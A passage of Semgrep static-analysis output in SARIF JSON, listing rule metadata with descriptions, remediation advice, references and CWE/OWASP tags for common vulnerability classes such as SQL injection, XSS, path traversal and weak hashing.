Module)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","id":"ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","name":"ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.md5-used-as-password.md5-used-as-password","id":"ruby.lang.security.md5-used-as-password.md5-used-as-password","name":"ruby.lang.security.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`."},"help":{"markdown":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-source-size.snprintf-source-size)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","id":"cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","name":"cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-source-size.snprintf-source-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint.file-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint.file-taint","id":"csharp.dotnet-core.path-traversal.file-taint.file-taint","name":"csharp.dotnet-core.path-traversal.file-taint.file-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.path-traversal.file-taint.file-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege."},"help":{"markdown":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-allow-js.swift-webview-config-allows-js)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-allow-js.swift-webview-config-allows-js","id":"swift.webview.webview-allow-js.swift-webview-config-allows-js","name":"swift.webview.webview-allow-js.swift-webview-config-allows-js","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-allow-js.swift-webview-config-allows-js"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","id":"python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","name":"python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied."},"help":{"markdown":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","id":"python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","name":"python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"GitHub Token detected"},"help":{"markdown":"GitHub Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-github-token.detected-github-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"GitHub Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-github-token.detected-github-token","id":"generic.secrets.security.detected-github-token.detected-github-token","name":"generic.secrets.security.detected-github-token.detected-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-github-token.detected-github-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"help":{"markdown":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpsconn)\n","text":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpsconn","id":"python.lang.compatibility.python37.python37-compatibility-httpsconn","name":"python.lang.compatibility.python37.python37-compatibility-httpsconn","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-httpsconn"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`."},"help":{"markdown":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization)\n - [https://www.npmjs.com/package/dompurify](https://www.npmjs.com/package/dompurify)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`."},"helpUri":"https://semgrep.dev/r/javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","id":"javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","name":"javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Running flask app with host 0.0.0.0 could expose the server publicly."},"help":{"markdown":"Running flask app with host 0.0.0.0 could expose the server publicly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Running flask app with host 0.0.0.0 could expose the server publicly."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","id":"python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","name":"python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","properties":{"precision":"very-high","tags":["CWE-668: Exposure of Resource to Wrong Sphere","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf)\n - [https://django-crispy-forms.readthedocs.io/en/latest/form_helper.html](https://django-crispy-forms.readthedocs.io/en/latest/form_helper.html)\n - [https://docs.djangoproject.com/en/5.0/ref/csrf/](https://docs.djangoproject.com/en/5.0/ref/csrf/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/csrf](https://owasp.org/www-community/attacks/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","id":"python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","name":"python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","id":"go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","name":"go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","id":"python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","name":"python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users."},"help":{"markdown":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.printed-request.printed-request)\n - [https://www.php.net/manual/en/function.htmlentities.php](https://www.php.net/manual/en/function.htmlentities.php)\n - [https://www.php.net/manual/en/reserved.variables.request.php](https://www.php.net/manual/en/reserved.variables.request.php)\n - [https://www.php.net/manual/en/reserved.variables.post.php](https://www.php.net/manual/en/reserved.variables.post.php)\n - [https://www.php.net/manual/en/reserved.variables.get.php](https://www.php.net/manual/en/reserved.variables.get.php)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.printed-request.printed-request","id":"php.lang.security.injection.printed-request.printed-request","name":"php.lang.security.injection.printed-request.printed-request","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.printed-request.printed-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0"},"help":{"markdown":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.infinitematchtimeout](https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.infinitematchtimeout)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0)\n","text":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","id":"csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","name":"csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"help":{"markdown":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string](https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string)\n","text":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","id":"cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","name":"cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli)\n - [https://guides.rubyonrails.org/active_record_querying.html#finding-by-sql](https://guides.rubyonrails.org/active_record_querying.html#finding-by-sql)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","id":"ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","name":"ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-jsp-eval.spring-jsp-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","id":"java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","name":"java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: 